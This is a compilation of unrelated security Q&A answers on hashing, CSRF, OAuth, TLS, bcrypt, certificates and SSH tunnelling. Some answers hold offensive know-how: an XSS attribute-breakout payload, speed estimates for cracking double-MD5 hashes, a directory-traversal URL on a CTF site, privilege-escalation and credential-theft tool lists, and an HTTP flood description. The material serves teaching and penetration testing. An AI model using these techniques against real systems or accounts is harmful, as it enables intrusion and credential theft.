Editing images containing hidden information

If someone is hiding a message within an image using Steganography, then the message should be unmolested by simply saving it.  Depending on how much the image was modified, and the steganography method used, the message may or may not be readable.

For example if BPCS-Stenography was used to hide the message and you drew a smiley face over the image, then parts of the message will still be readable.  If the message was protected by an error correcting code,  then the original message maybe entirely intact.

However,  if you were to take that same image and convert it to a low quality lossy compression scheme like JPEG, then the BPCS-Steganography message will likely be destroyed.


I would say it's more likely that this is hardware failure or software misconfiguration, than malware. Particularly given you said that you were messing around with settings (I'm assuming in the BIOS)?

Bad RAM is another possible option, as is a faulty power supply causing either unclean shutdowns or excessive noise causing data errors.


Would an RP3 do well as a firewall appliance?

This all depends on how fast of an internet connection you want to run a firewall for.  A firewall needs at least 2 interfaces, so you'd have to attach a 2nd USB ethernet device.  Because the on-board ethernet on the Pi is attached to the USB bus as well, you'll have all the bandwidth over the one USB interface.

For a slow connection -- something like 20Mbit or slower -- a Raspberry Pi3 will probably work fine.  If you need anything approaching 100Mbit or faster, it just won't happen over the interfaces available on this board.


what is the fastest and cheapest way to crack this kind of hash - md5(md5($password) + salt))?

I do not have exactly the software you want. However:

You can use any existing MD5 implementation and write the code which invokes it twice for all the potential passwords. See for instance sphlib; on my PC (Core2 x86, 2.4 GHz), this code should be able to evaluate more than 6 millions MD5 hashes per second, so that's 3 millions per second passwords with your double-hash scheme. That's per core: my PC is a quad-core, so the full machine could go up to 12 million passwords per second.
Most x86 processors offer SSE2 opcodes: instructions which can compute four 32-bit operations simultaneously. By using the C compiler intrinsics (supported by Visual C, the Intel C compiler, and GCC), you can use them without getting your hands into hand-written assembly. Using these opcodes, you can compute four MD5 instances in parallel. I estimate that my PC should be able to try out 30 millions of passwords per second with such an implementation (I have tried with SHA-1, which is similar to MD5).
With a 9800 GTX+ Nvidia GPU, you should be able to try up to 100 millions of passwords per second (there again, an estimate -- I can do 160 millions SHA-1 per second on that machine, so 200 millions of MD5 is a reasonable figure). This is not a top-of-the-line GPU (I bought it in January 2009); with a more recent card, 500 millions of passwords per second are achievable.

With 500 millions of passwords per second, you could explore the whole space of passwords up to 8 characters (in the alphanumeric range that you quote) in about one week. That's doable.
It is also an interesting programming exercise.


Is the method of hardening the creation of a Cryptographically Generated Address (CGA) called hash extension

in the CGA protocol in section 7.2 RFC3972 the technique is called hash extension.
It seems to be a method used particularly for CGAs and seems not to be well known in other scenarios.


handle user-session-cookie and csrf token correctly for javascript app

XSS and CSRF have a rock/paper/scissors interaction.  XSS is always dominant over CSRF,  and almost all methods on the CSRF Prevention Cheat Sheet can be bypassed with XSS. A case where XSS and CSRF cannot be used to trigger a request is if the request requires the current password, a token texted or emailed to the user, or another value that cannot be obtained using a browser with the constraints of the SOP.  The Sammy MySpace Worm is a good example of how a CSRF sync token can be undermined using an XHMLHttpRequest().

XSS is a serious problem.  A strong method of defending against XSS is defining  a Content-Security Policy(CSP) rule set that prevents injected HTML from executing JavaScript.  The CSP along with strong input validation can be used to prevent all XSS within an application with a high degree of certainty.


unprivileged or privileged malware for botnets

Sending HTTP request packets doesn't requires any privilege. The main aim behind sending HTTP request is to force the server or application to allocate the maximum resource in response to a single request. Two type of request can be used GET and POST. HTTP GET request is used to request the static contents and POST is used to request the dynamic contents. To make the attack as havoc to the application the attacker uses POST request because it may uses parameters that can be used to trigger the complex server-side processing.

Since to perform the attack Network attack vector is required, so if a unprivileged program has flaw that can be exploited to send the requests.


This is neither a virus nor a trojan, and it does not make the site unsafe to visit in any way whatsoever. Your antivirus package is crying wolf.

Coinhive is a Javascript plugin which implements a cryptocurrency miner. While you view a web site which uses this script, your browser will perform calculations to mine cryptocurrency for the owner of the web site.

Some users find this script annoying and inappropriate, as it will increase CPU usage (and, hence, power consumption) on your web browser while you have the web site open. However, this will end as soon as you leave the site.


Windows 10 FIPS140 Bitlocker without using System Cryptography policy

Ultimately, we changed the app. We switched the app code to use AesCryptoServiceProvider to replace the AesManaged we had been using. AesCryptoServiceProvider uses the underlying Windows CryptoAPI to perform the encryption. AesManaged performs the encryption in pure managed code. Advantages to using AesCryptoServiceProvider include potential for higher speed and the fact that CryptoAPI is FIPS certified (AesManaged is not, and is the source of the crash). Once the Windows 10 has the FIPS encryption policy, the old encryption calls are blocked in .NET. There was much debate about whether app level encryption is necessary and no one could be pinned down. The answer that probably would satisfy auditors would be, "If you never had it before, and now FIPS140 Bitlocker is enabled, you are covered. If you did have app level encryption before, you need to replace it with a compatible compliant encryption." Side note, we verified that AesCryptoServiceProvider can decrypt the AesManaged encryption, and vice versa.


trying bypassing htaccess based basic http authentication

This simply means that the server is not vulnerable in the way you are expecting it to be (using GETS instead of GET to bypass black-listing of HTTP verbs).

I tried passing a path like: http://htaccess.hacking.w3challs.com/?page=/.htaccess
and directory traversal seems to be possible. Try looking for a .htpasswd file somewhere in the directory tree.


I would look at using the Intruder in Burp Suite.

Capture an initial request using the proxy, send it to the intruder then you can mark your fuzzing candidates including headers

Configure your list of payloads that would like to fuzz with and launch the attack

as you can see, we have replaced the headers and can see the responses


Can Snort or Suricata *edit* packet on the fly?

Snort and Suricata work on the packet level. While they can reassemble a TCP stream for analysis spanning multiple packets they have not the ability for making changes to the data stream which involve changing the length of the data, i.e. adding some HTTP headers or removing content.

While it is possible in inline mode to replace some content with another content the length of the content cannot change. Otherwise all following outgoing and incoming packets in the TCP stream would need to be changed as well in order to match the shift in TCP sequence numbers caused by the modification. It might even be necessary to include new packets into the stream, properly deal with the TCP window etc. At the end this would mean to implement a complete TCP stack and all these changes would also significantly impact the performance.

  If they can't, is there an open source program that can do this at a network scale?

Modifying the traffic in a significant way is the domain of application layer gateways (proxies) which can also be added transparently into the network path. For  HTTP one could use for example the squid proxy. It comes with some the built-in functionality for checking and modifying the traffic (ACLs, adding header...). For more advanced modification one can provide own ideas using the ICAP or eCAP API.


Is Amazon Prime DRM able to scan a LAN for devices and services?

My understanding is the DRM element needs to be able to make an outbound connection and allow a returning reply. I do not believe this causes any more of a vulnerability than any other similar service.


Is logging a user out with CSRF a security issue?

This is called CSRF, or Cross-Site Request Forgery. Logging a user out through CSRF is a much-discussed issue in the security community. Some view it as a non-issue (see Google's stance: https://sites.google.com/site/bughunteruniversity/nonvuln/logout-xsrf). Others view it more of a nuisance.

However, I have to respectfully disagree with Google's stance. It is easily addressable. Like other CSRF actions, you need a token (so changing it to a POST wouldn't address it) that isn't known or guessable by an attacker. This means you can make the logout link contain a one-time token. This would break attempts to put it in an image or disguise the link some other way.


What are the differences between JSON Web Tokens, SAML and OAuth 2?

SAML and OAuth 2 are protocols used in authentication/authorization. JSON Web Tokens (JWT) is a specification for a token that can be used in many applications or protocols - it happens that the OpenID Connect (OIDC) protocol uses the JWT. SAML also defines its own token: SAML Assertion; as does OAuth 2: Access Token. Tokens used by these protocols denote you have been authenticated/authorized and convey information about you or the session.

+----------+----------------+-------------------------------+
| Protocol | Token          | Technologies | Design Pattern |
+==========+================+==============+================+
| SAML     | SAML Assertion | SOAP, XML    | Facade         |
+----------+----------------+--------------+----------------+
| OAuth 2  | Access Token   |              | Proxy          |
+----------+----------------+--------------+----------------+
| OIDC     | Access Token,  | REST, JSON   | Decorator      |
|          | ID Token (JWT) |              |                |
+----------+----------------+--------------+----------------+

The software design patterns associated with each of the protocols in the table above summarizes in one word what these protocols were intended to accomplished.

SAML. The Facade pattern provides a unified interface to a set of interfaces in a subsystem. SAML is the original federated identity system, invented by universities to allow students to access other university libraries, but each university maintaining their own student identity system. De facto standard in most enterprise environments. Built around XML and SOAP.

OAuth 2. The Proxy, much like its name suggests allows clients access to your information as if they were a proxy for you.

OIDC. Extends OAuth 2 by adding user ID and user info to the protocol. Often regarded as a modern version of SAML. Widespread use in the consumer space - almost all social media sites support OIDC. Built around JSON and REST.

Hopefully, this untangles your questions a little. You can't quite compare SAML (protocol) with JWT (token), but you can compare SAML with OIDC. You could however compare a SAML Assertion with an OIDC JWT. The OAuth 2 specification does not specify the underlying structure of its tokens. You might also find it interesting that OIDC can consume the SAML Assertion as well as its own JWT.

The consensus is that OIDC will eventually supplant SAML, but SAML has been around since 2005 and is very mature - an important trait in enterprise environments. Even though OIDC is relatively new (2014), authentication solutions these days (2018) are expected to support it. SAML was designed in an era where Web browsers were dominant and has somewhat of an awkward time with Mobile or modern Web applications. OIDC on the other hand supports modern technologies such as REST and JSON that makes it much more accessible from applications these days.

However, OAuth 2, OIDC and SAML do not actually specify how authentication and authorization are done in the way those two terms are traditionally defined.

When you hear authentication you think of a login/password, or fingerprint, or passcode sent to your phone - none of these protocols cover these  specifics, rather authentication is delegated to the identity provider (IdP). These protocols specify how you should be redirected to an IdP to get authenticated, and if successful how the tokens/assertions are returned.

OAuth 2 "authorization" deals with obtaining user consent, i.e. whether to give a service access to your information/data - it does not mean authorization in the access control sense. OIDC much like OAuth 2 also supports a means of obtaining user consent. While SAML supports user consent as well, it is not generally used within an enterprise/intranet environment.

Authorization (referring to the more traditional access control meaning) is also not in OAuth 2, OIDC and SAML specifications, but they allow for tokens to contain claims such as whether a user belongs to an administrator group, which client services can interpret however it likes.

OAuth 2, OIDC and SAML are great facilitators for different authentication and authorization (access control) schemes, but do not actually specify the actual underlying mechanisms.

UPDATE 9/5/2018. Updated for 2018.

UPDATE 4/26/2017. Fixed incorrect statement about SAML not supporting user consent - it does, but not widely used.

UPDATE 2/22/2017. Clarify authentication, authorization (access control), and user consent in response to user comment below.


Should I regenerate SSL certificates after upgrading Openssl

Heartbleed is a vulnerability in the OpenSSL library, specifically how it handles the Heartbeat Extension. It is completely unrelated to certificate generation. A certificate can't be vulnerable to Heartbleed, only the OpenSSL library version.

That said, if your certificate and its associated private key was deployed on a server, which had a Heartbleed-vulnerable OpenSSL version deployed, it may be possible that your private key got leaked. In this case, I would recommend you to do the following steps:

Revoke the certificate. This shows that you can no longer be reasonably certain that your private key is actually private.
Generate a new private key and certificate. Take this chance to ensure that the parameters you picked for the certificate are up-to-date as well.


How to simulate a WEP cracking scenario for faster cracking in local lab?

On a virtual lab, assuming that you want to demo this with no physical hardware, I would recommend getting a .pcap of actual WEP traffic (wireshark or tcpdump will do for this) and rebroadcast it with a simple python script or a tool like tcprelay.

Just setup two VMs on the same subnet and use one to broadcast and one to crack. One of the problems that people tend to run into with these demos is that you need network activity on the target access point to get enough data to perform the crack. By doing it once for real (when you generate your .pcap) and just capturing that data off in a .pcap you won't have to worry about setting up some ancillary service to generate traffic for you.  It's already done and you will know that there is enough data, very good for demo purposes.  Also, I'd recommend using Aircrack-ng over just Aircrack. Aircrack will do but it's kinda out of data.

You should be able to run a similar setup to this on laptop with VirtualBox and two stripped down linux VMs.

EDIT:
Here are some example .pcap files for WEP breaking from http://weplab.sourceforge.net/
You may be able to use the weplab project to get the type of setup you're talking about right out of the box, actually. It looks like they have examples for a number of WEP attacks and pretty good documentation on how to get it all up and running.

weplab-64bit-AA-managed.pcap
weplab-64bit-aaa-managed.pcap


What are legal/ethical concerns to bear in mind, when hacking websites with open invitations?

This is a very interesting area, and I don't think anyone has raised a legal case yet to gain a decision one way or the other.

In various jurisdictions, you could still be prosecuted for criminal activity, despite there being an approval note on the website.

As an example, when a penetration testing company does some work for you, the terms and conditions may include limitation of liability clauses, expectation of behaviour, contact and escalation protocols and contacts and so on, and we still work with an element of risk that if we break something the client may take legal action. So when you start attacking a website be very aware that as there is no signed contract they may not need to hold to the contract implied on the website.

So at the very least, follow the guidelines, but in addition, log everything you do just in case something bad happens and you need to prove it wasn't you, or wasn't deliberate!


TLS Extentions: Omitting TLS Handshake Messages

I've sent this same question to the TLS mailing list, and got an answer that it is, in fact, legal for an extension to specify to omit messages not marked as optional/situation-dependent in the spec.

You can find the discussion here.


This RSqueezA sounds okay to provide QR Codes and read from them to a key file.

But: In my company non-technical people get a long (about 32 random characters) key phrase printed as-is. And then the paper will be stored in a (fire-proof) safe.
Reading and typing all the characters is good and fast enough for them.

For all the other people without a safe I recommend a password manager and store the password the same way but at home at a non-work-related place. (no one would guess it's the password for their work).


Usernames - Should their length be limited?

There is no good security reason to limit the length of a username. The only reason to limit the length of the username is so it doesn't stretch parts of the website when displayed, but even that can be solved differently.


Using OAuth as Security For E-Commerce Sites

Don't do authentication to outside OAuth sources if you plan to store any PII (personally identifiable information) like names and addresses, it exposes you to data theft liability if someone hacks the other systems, and you may never even know it happened. You could also have problems if your customer gets locked out of their FaceBook account and you can't do anything to fix it. OAuth is fine for web page comments, but not for paying customers.


The specs themselves are fine, but there is always the issue that the vendors will not implement it correctly, which is unfortunately not uncommon. There are also security issues that are not even addressed, for example the kind pointed out in Hardware-based Full Disk Encryption (In)Security. From the abstract:

  We show that, depending on the specific hardware configuration of the system, (1) for most settings in which a known attack on software-based FDE exists, there exists a successful attack against SEDs. These scenarios include DMA-based attacks, cold boot attacks, and evil maid attacks. In this sense, hardware-based full disk encryption (FDE) is as insecure as software-based FDE. We also show that (2) there exists a new class of attacks that is specific to hardware-based FDE. Roughly speaking, the idea of these attacks is to move an SED from one machine to another without cutting power, i.e., by replugging the data cable only.

  Do they have backdoors?

How can anyone even answer that? No, the specification does not require the insertion of backdoors. Whether or not a given vendor inserts one requires careful analysis of the individual firmware. More likely, they are just full of bugs, and no backdoor is needed to exploit a weakness.


When/why should the "mark this key as exportable" option be selected when importing a certificate?

Marking the private key as exportable gives someone with the permission to the private key the ability to export it into a PFX file. The ability to read the key and the ability to export the key are two separate things.
Using the private key for signing or decryption is not in any way related to exportability. Windows exposes APIs that you can call to use the private key for various operations which are gated by whether the calling user has permissions to use the key. This is independent of export.
In the link you left in the comment, what it's hinting at is the permission to access the private key. This is controlled primarily through file ACLs (or other implementations based on key providers). You can view them by opening MMC > Add Certificate snap-in > select computer > select Personal > right click some certificate > Manage Private Keys.

In order to export the key you need permission to access the private key and the key must also be marked as exportable.


Out of band verification using phone; a fallacy?

Phone/SMS verification works, it just solves a different problem than loss of your phone.

Phone verification prevents against an attacker impersonating a user by logging in as them from some random network device using their username and password. For example, if a user's password is exposed because they reuse the same email and password on multiple sites, an attacker with that information won't be able to complete a login due to not having your phone. Even in the terrible situation of the site storing passwords insecurely and losing its password database to an attacker, phone verification will prevent unauthorized authentication.

Phone verification does not prevent against the physical loss of your phone or an attacker installing privileged software on your phone. For that, phone encryption with a strong password, locking your phone, only installing trusted software, etc... is required.

Edit: Interesting article about how losing control of PC can lead to 2FA bypass. Publication: How Anywhere Computing Just Killed Your
Phone-Based Two-Factor Authentication.


Can you help me with some misconceptions about bcrypt and salting?

The salted ones #### and &&& are harder to brute force because they are longer and even if they were brute-forced the hackers won't know the password unless they have the salt

Brute forcing is commonly an offline attack. For online attacks the time it takes for password verification are generally too long. Moreover, countermeasures should be in place to disallow a high number of guesses (maximum retries, deliberate delays).

The offline attack is generally over the hash and the salt, because they are stored together in the database.

The extra size of the salt (which is commonly mixed in differently than simple concatenation) should not be seen as much of a hurdle.

  The unsalted one is easy to look in rainbow table with $$$$

Well, if the password is indeed really strong, then it may be that the rainbow table doesn't contain it, so it might fail.

  The second one when you look for a rainbow table for #### you won't find anything

Indeed, not if you don't have a rainbow table for a particular hash.

  It takes longer time to crack 1 password but isn't it still feasible with modern GPUs allowing to create fast Rainbow tables?

You're missing the point here. Rainbow tables are useful for matching multiple passwords against the rainbow table. Rainbow tables are useless to check only one password against. If the salt is unique (e.g. if you use a 128 bit random salt) then rainbow tables have no use.

Rainbow tables make it possible to efficiently store a hash -> password table. The adversary still has to create it by hashing each password guess separately.

  Since the bcrypt algorithm is known, why wouldn't hackers create a bcrypt rainbow table for each round? So this way they will create just 31 bcrypt rainbow tables for the common and short lengths passwords?

The input for finding a password in a rainbow table is the hash output. The intermediate hash outputs of the rounds before the last one aren't stored. So how would you lookup a password using them?

  If what I'm saying is true, does this mean that salting helps only against brute force without salt value exposed, but doesn't really help against strong GPUs with the salt value?

No, salting does not help against brute force but it helps against rainbow tables.

If you use a secret as part of the salt it is called a pepper. The pepper can act as a symmetric key; as long as the pepper contains enough entropy then there is no way to check if a password would create a specific hash. A 128 bit / 16 byte pepper generated by a secure random number generator should contain enough entropy.


What does the letter in an OpenPGP key's bits definition (like 4096D) denote?

It indicates whether the key is DSA or RSA.  You can read more about the differences between the two here.

You can determine which type your key is using gpg --list-keys at the CLI.  I'm not sure what GUI you'd use on a Mac so I can't speak to that.

C:\>gpg --list-keys
--------------------------------
pub   4096R/2C55AF0B 2014-10-28 [expires: 2017-10-27]
uid                  Gowen Fawr (gowenfawr) <gowenfawr@example.com>
sub   4096R/6ADD2CE0 2014-10-28 [expires: 2017-10-27]


Convert ECDSA signature from plain to DER format

Since you're already using OpenSSL you can construct an ECDSA_SIG structure and encode it; see https://stackoverflow.com/questions/31390784/creating-a-der-formatted-ecdsa-signature-from-raw-r-and-s .

Or you can write your own DER encoder for this specific case which is fairly simple, although a general ASN.1 encoder is not:

// given int l is the curve-and-field size in octets with l<61
// (i.e. P-256 or P-384 is okay for this code but P-521 is not)
// and unsigned char plain [2*l] is the 'plain' signature
unsigned char * der = malloc(2*l+8); // worst case
int o = 2; // offset into 'der' (output)
int s = 0; while(s<l && plain[s]==0) s++; // skip leading zeros in R
int m = plain[s]&0x80 != 0; // need sign byte for R
der[o++]=2; der[o++]=l-s+m; if(m) der[o++]=0; memcpy(der+o, plain+s, l-s); o+=l-s;
s = l; while(s<l*2 && plain[s]==0) s++; // skip leading zeros in S
m = plain[s]&0x80 != 0; // need sign byte for S
der[o++]=2; der[o++]=l*2-s+m; if(m) der[o++]=0; memcpy(der+o, plain+s, l*2-s); o+=l*2-s;
der[0]=0x30; der[1]=o-2;
// use der for length o as the signature buffer
// when done free(der)
// or in C++ use new[] and delete[] if you or your style rules prefer

Edited 2019-07-30; original version didn't handle leading zeros in the fixed-length R,S, which are fairly rare but do happen sometimes.


Almost certainly. Someone along the line they get your username so that they can validate your RSA token. You likely type this in (or did during installation). They log that.

Being network and security software, I suspect the VPN logs all sorts of stuff including your originating IP address, your VPN IP address, summary stats of network traffic, etc...


How to come out of href attribute using xss?

Edit: Just saw that " is forbidden. Sorry. I still leave the answer as it might be useful for some people.

Of course. There are numerous ways to do this.

One example would be using  " onload="alert(1) as the payload.

This will result in <a href = "example.com/search/" onload="alert(1)" > Link </a> which is valid HTML.


I can say this: Is isnt secure. Once someone authenticates and get the encryption key for the data, they have unlimited access to the data that is protected.
The solution in your description, uses a 2-shared key, where the first factor (password) is generating key1. then the second factor, like a OTP athenticator, is used to authenticate at the administrator, and key2 (the token) is generated.
Then the 2 keys are combined in a way, like key1 XOR key2, and gives key3. key3 gives access to data.

A adversiary that want to break the system, could ensure the real user authenticates successfully. After this, key1 and key2 is copied, and thus the two-factor authentication is bypassed.

For two-factor to be really two-factor, the physical second-factor must have a property, ensuring that the secret key cannot be extracted, rather disk data has to be fed through the second factor.
In other Words, like a HSM. This ensures that the two-factor requirement is enforced at all times, and that you could even lend out the second factor to someone that needs temporary access, and once the access is revoked, the second factor is taken back and then the advesary is guranteed to no longer have acccess to the data.

A smart card is too slow, so you need some disk encrypting solution that uses some sort of high capacity HSM that is inside a Little key, that is inserted. For the "what you know" factor, a PIN can be used.

Using a Smart card or HSM, that stores a "master key" securely, but is used to decrypt a "disk key" that is later used to decrypt data, isnt secure either, since a adversary could just ask the smart card or HSM to decrypt the disk key for them and then they have full access, even when they lost access to the Smart card or HSM.


Does a single fopen introduce TOCTOU vulnerability?

A call to fopen is not in itself a TOCTOU vulnerability. By definition, TOCTOU involves two operations: a “check” and a “use”.

A common example of TOCTOU vulnerability is checking access permissions with access before opening a file. It's a bug (race condition) because the permissions might change between checking and opening, and it's usually a vulnerability because file permissions are important for security.

The access system call is highly suspicious because there aren't many ways to use it that don't introduce a TOCTOU. The fopen call in itself is not particularly suspicious because there are many ways to use it that are safe. However this doesn't mean that access is the only way to make a TOCTOU with fopen.

An example of race condition that can occur when opening files is if you got the file name from some external source, and you make assumptions about that name. For example, if you build the argument to fopen by concatenating a directory name with a file name, and you've made some checks on the directory, that's a TOCTOU vulnerability as well. The checks on the directory may no longer be valid by the time you use the directory to open a file. That's why Linux has the openat system call: so you can call opendir on a directory, perform checks on the directory, then call openat to open a file inside that directory (whereas open with concatenated names would open a file in a directory which now has this name, but may not be the one you checked).

So yes, you do need to care. Your code may or may not have a vulnerability. In my very limited experience, Klocwork does have a lot of false positives, but not everything is a false positive. Start by reading the complete message carefully. Review your code carefully, with written-down security objectives, and track how these security objectives are met (or not). There's no miracle: writing correct and secure code is harder than just applying a checklist.


In general, self-signed certificates offer no security benefit over raw public keys (there can be convoluted situations where the self-signature provides a "proof of possession" of the corresponding private key, but this very rarely matters). Self-signed certificates can offer a usability benefit, though, in that it allows the use of certificate-based software.

For instance, in Windows systems, private keys are commonly referenced through the corresponding certificate: the user has some certificates in a "certificate store" and each such certificate may reference the corresponding private key. If you want to use the CMS format for signatures, with the .NET class System.Security.Cryptography.Pkcs.SignedCms, then you must sign with "a certificate", so something which looks like a genuine X.509 certificate must be used.

This mostly amounts to reusing the certificate encoding format (X.509) for public key storage. Conveniently, such a format includes human-readable names and validity dates; OS-provided GUI can also be used to visualize the certificate "thumbprint", i.e. a hash of the certificate (which can be used as a kind of hash of the public key). Less conveniently, the X.509 format includes a non-optional field for a signature, so there must be a sequence of bytes which at least superficially looks like a signature: the habit of using self-signatures comes from that. However, you could also store a sequence of random bytes of approximately the right size, it would also work.


JSON Web Encryption essentially does this. Additionally it lets you select different Content Encryption Key (CEK) for each token.

BASE64URL(UTF8(JWE Protected Header)) || '.' ||
BASE64URL(JWE Encrypted Key) || '.' ||
BASE64URL(JWE Initialization Vector) || '.' ||
BASE64URL(JWE Ciphertext) || '.' ||
BASE64URL(JWE Authentication Tag)

For my case, I could select the alg as dir so that CEK essentially is the symmetric key I specify and it would precisely be what I wanted.


Third-Party-Cookies Tracking - Google Chrome

I just tested that Chrome option and it seems to work for me. But if it doesn't for you, the next best thing would indeed be using something like Ghostery or  EFF's Privacy Badger

In fact, I'd probably suggest using one of these tools anyway. Because rather than blocking ALL third-party cookies (some are useful!), they only block requests to domains that are actually using them to track you.


Automatically enumerate missing patches on penetration test

Nessus, surprisingly at times, often comes up with results you would never expect in both good and bad ways. Be sure you are configuring it correctly -- credentialed scans can be hard to get right.

OpenVAS has a lot of checks that Nessus does not and works in a very similar way. However, Nessus does have a ton of checks. It may be OS or environment dependent for best results, so run both.

CVEDetails is a great source, where you can narrow down into specific product, version, et al. It will often link out to other, often original resources -- or sometimes spell out a specific exploit or Metasploit module (e.g., use .*linux/gather/enum <tab>, <tab> <tab>). If it doesn't then search for the vulnerability name, CVE with number, patch number or level, or other associated information on exploitsearch.net. I grab a lot of shells or even get ideas for new privilege escalation exploits by querying these two websites daily.

Many other tools could be helpful depending on perspective. Is anything running on any local network ports? Can NeXpose or Nmap identify those ports? What about IPC or pipes? The vulscan NSE script also provides wonderful direction beyond even the default (-sC) and deeper NSE planning, configuration, and analysis. Packet analysis (e.g., pyshark provides a programmatic interface) may also be of use here. There are tons of NSE scripts for a variety of target platforms available third-party on GitHub and perhaps other places. You may need to create your own NSE scripts on occasion. Mapping known ports or services from Nmap to Metasploit is most easily accomplished with a tool or technique such as metasploitHelper.

I would caution using tools such as linuxprivchecker.py, Linux_Exploit_Suggester, linux-exp-suggester, or the various kernel exploits you find from other means. One of the primary cautions you should be aware of is SMEP. More about SMEP can be found in one of the answers on this exact forum, including how to query for it. It can be disabled at boot with a grub parameter of `nosmep' or by using an LKM. If SMEP is enabled, running kernel exploits without modification may cause a kernel panic, which means it will crash the system.

There are many ways to escalate privilege besides CVEs. Before I move on from the topic, you may find that cloning (N.B., as close as possible if you do not know all of the details) the target into your own controlled environment can allow you to run as root in order to understand your target better. Tools such as cvechecker may be incredibly useful in these cloned environments, as well as rerunning  your Nessus, OpenVAS, and perhaps even CIS-CAT or ovaldi checks.

Some tools, such as LinEnum, shine whether run as root or as a less-privileged user, perhaps similarly to unix-privesc-check. I have received a lot of help from the use of these tools in a variety of environments -- cloned or owned. I have seen a few custom scripts (mostly for the PWK labs from Offensive Security) that work like these, but it is also worth it to mention unprivileged host-enumeration scripts that target hardening such as Lynis, Bastille, and LSAT / USAT. For another comprehensive list of OS-default commands, external tools, and techniques, be sure to check out -- https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

For target environments where there are password-protected root and other "live" accounts, there may be many ways to attack the identity and trust relationships in order to steal credentials. A lot of privilege escalation (and I say that this has been true over the past 50 years of computer use and abuse) is about guessing relationships (e.g., known_hosts, authorized_keys2, hosts.equiv, et al), cracking passwords (e.g., hashes), brute-forcing login, remote (e.g., ssh keys), or su/sudo prompts, etc. There are many tools that perform or aid in these tasks on Kali Linux and elsewhere. So many techniques have been developed, even in recent years. Two you should definitely be aware of are sucrack and phrasendrescher.

The key thing about passwords is reuse. If you find any file, service, or configurable on a system (or nearby system, such as on the same network -- perhaps even extending much further such as a particular user's favorite password found from an already-existing credential dump such as the Adobe, RockYou, Gawker, and others found in tools such as recon-ng) and it has a password, then you should try that password everywhere you can, especially if it makes logical sense to do so. No tool can do this for you, but many can help change things up a bit. Many just provide straight-up password recovery. Recover one password for one user and you may find a path all the way to the top. In Kali Linux, the pack project is a great starting point, with tools such as dictstat, maskgen, and policygen. John and Hashcat reign supreme, especially with integrations to other tools (e.g., metasploit-framework, LAIR-framework, KvasirSecurity), and extensions such as statsprocessor. On a network where the real action is happening, you may be able to pick up tons of cleartext, weak-encryption, or scenario-driven (i.e., MITM condition) credentials. Tools in this space are easy-creds and PCredz, perhaps even better when combined with metasploit-framework modules such as the ones under the auxiliary/server and auxiliary/spoof hierarchies. Credentials can also be acquired via social engineering techniques -- let's not forget the basics with tools such as SET, et al.


Your server is infected. It shall be cleansed. With fire.

The primary function of a rootkit is to install itself in an inconspicuous place, and intercept whatever it needs to resist reboots and upgrades. For instance, it may have added its code in the kernel itself, and hijack read and write system calls so that it automatically reinfects the kernel file should it be upgraded.

So the path to your salvation is a complete reinstall of the system from scratch; rebuild partitions, format hard disks, fire up the OS installation CD/DVD. It's the only way to be sure.

(Actually it is conceivable, and has been demonstrated in lab conditions, for some rootkits to install in the motherboard firmware, or the firmware of some peripherals, including keyboards -- as long as such firmware can be reflashed from software, it is theoretically vulnerable. It is rather improbable that your server has been compromised to that depth, so chances are that a complete reinstall will be enough -- no need to escalate to an actual funeral pyre.)


Why would you not permit Q or Z in passwords?

It's a leftover from the time when keypads didn't have the letters Q and Z. Security-wise, there's no reason. It's just because of old systems.

To clarify:

You used to be able to enter your password over the phone. Some phones didn't have the letters Q or Z, like the one on the picture below.

  Image courtesy: Bill Bradford on flickr.com

Because of this, passwords including these characters were disallowed. They haven't changed this requirement for whatever reason: Legacy systems, poor documentation, or they just don't care.


Sending multiple Content-Length headers in a HTTP POST request using Javascript

Content-length is a special header which can not be set using JavaScript in the first place, i.e. it is one of several forbidden header names. You might try HTTP request splitting to bypass this restriction but it is unlikely to work on modern browsers.


Is it secure to send a password recovery link for company application to an employee's personal email address?

The problem with relying on personal email accounts is that you don't have any control over how well those are managed.  How many of your employees have "abc123" as the password for their email account?  Do you want to rely on that for the security of your corporate email?

A better option would be to allow managers to reset the passwords for their employees.  Most people won't have the phone number of IT handy but they probably have their boss's number.

Let the manager set a new password and then require the employee change it on first login.

This also helps solve the identification problem.  I doubt your IT team would be able to verify all employees by voice or sight but a manager is going to recognize the people they manage every day.


Is running an SSH tunnel from my Web App Server to my Database server safe security-wise?

Is there any major vulnerability in doing this?

Depends on the configuration / threat model / etc. There's a lot of variables to consider.

  Can someone else see the daemon command running?

Yes - anyone with access to either machine can see this, including all parameters.

Linux:

ps -aux | grep -i 'ssh'

macOS:

ps -Aj | grep -i 'ssh'

Here's an example:

$ ps -aux | grep -i 'ssh'
root      444  0.0  0.0  37588  5692 ?        Ss   13:20   0:00
/usr/local/bin/ssh -L XXX:127.0.0.1:XXX -p XXXX root@[ipaddress]

  But even if that was possible, wouldn't they need the SSH key to have access to the server?

Well, yes and no. There are some factors to consider:

If someone is able to compromise your server for any reason, you may cause the compromise of the remote database server depending on the configuration and permissions.
If the SSH server allows password-based authentication, that could present a problem if they discover credentials on your system.
If your SSH server accepts keys, but your key doesn't require a passphrase, this can lead to compromise of the database server.

You should ensure a significantly-strong passphrase exists to use your SSH key (better practice) to prevent an attacker from immediately compromising the database server after grabbing your key.

If an attacker compromises the database server, they may be able to compromise other servers in the network. You may be opening up a huge can of worms here.

Defense in Depth

As with everything security, it's important to consider your threat model and layering. Defense in depth is the process of creating a bunch of different layers of security to prevent as much compromise as possible.

Ask yourself, "What do I have, and what am I trying to protect?" This is the starting point for security engineering.

In this scenario I would recommend something like this (assuming you're the DB owner):

Ensure that the web applications have sufficient hardening to prevent remote code execution, sql injection, ssrf, lfi, rfi and other vulnerabilities.
Ensure that the web server exposes only necessary ports such as 80/443.
Ensure that the database server itself communicates only with your web app via SSH. By default, it's going to deny everything except what is required to run, and allow your web app's IP address on port 22. Depending on the scale and complexity, you may have it communicate only with the load balancer which will distribute it across other web app instances, but that's out of scope here.
Ensure that your SSH key requires a passphrase. A very strong one.
Ensure that the database does not have file I/O capabilities unless necessary.
Ensure that the database server cannot, by default, create any outgoing connections except on required ports. This ensures that if someone exploits your database through some kind of injection or exploit (Attacker -> Web App -> SSH Request Forward -> DB Exploit), it doesn't allow the attacker to (easily) return a reverse shell to their system (we covered SQLi in #1, but still -- here's another annoying layer).
Ensure that neither the web app server, nor the database is running as root.
Ensure that the permissions for your SSH pivot are as low as they can be to manage it. You may set up users in the database configuration for example.
If possible, ensure that the database server is on it's own VPC/VLAN.
Finally, if you really do need to go this route, there should be no reason for you to connect as root. You should connect as a standard user and type in a strong password. A VPN would be a better idea.

This is not a complete list, just something quick to get you started.

